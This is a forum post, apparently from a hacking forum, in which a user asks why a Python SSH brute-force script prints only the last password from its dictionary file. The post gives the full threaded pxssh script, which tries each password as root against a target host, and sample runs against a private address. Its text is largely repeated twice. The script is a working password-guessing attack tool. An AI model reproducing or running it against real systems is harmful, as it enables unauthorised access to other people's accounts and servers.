SSH Brute Force script 10-13-2013, 03:50 AM
#1
Hi;
So ive made the script and it runs with no errors but doesnt give the output i was hoping it would. The code is as follows:
When i run it i get the following output:
python sshCommand2.py -H 10.10.1.36 -u root -F dictionary.txt
[-] testing: zhongguo
zhongguo being the last password in the file, so it looks like it is starting with that password and not at the first, the output i was expecting to get would be something like this:
python sshCommand2.py -H 10.10.1.36 -u root -F dictionary.txt
[-] testing: 123456
[-] testing: 12345
[-] testing: 1234
[-] testing: 123
[+] Password Found: Alpine
[-] testing: 1234
[-] testing: 123
[*] Exiting: Password Found
Any idea what ive done wrong here? any help would be much appreciated. Cheers
So ive made the script and it runs with no errors but doesnt give the output i was hoping it would. The code is as follows:
Code:
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
Found = True
except Exception, e:
if 'read-nonblocking' in str(e):
Fails +=1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog '+\
'-H <target host> -u <user> -F <password list>')
parser.add_option('-H', dest='tgtHost', type='string',\
help='Specify target host')
parser.add_option('-F', dest='passwdFile', type='string',\
help='Specify password file')
parser.add_option('-u', dest='user', type='string',\
help='Specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password found"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] testing: "+str(password)
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
main()When i run it i get the following output:
python sshCommand2.py -H 10.10.1.36 -u root -F dictionary.txt
[-] testing: zhongguo
zhongguo being the last password in the file, so it looks like it is starting with that password and not at the first, the output i was expecting to get would be something like this:
python sshCommand2.py -H 10.10.1.36 -u root -F dictionary.txt
[-] testing: 123456
[-] testing: 12345
[-] testing: 1234
[-] testing: 123
[+] Password Found: Alpine
[-] testing: 1234
[-] testing: 123
[*] Exiting: Password Found
Any idea what ive done wrong here? any help would be much appreciated. Cheers
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)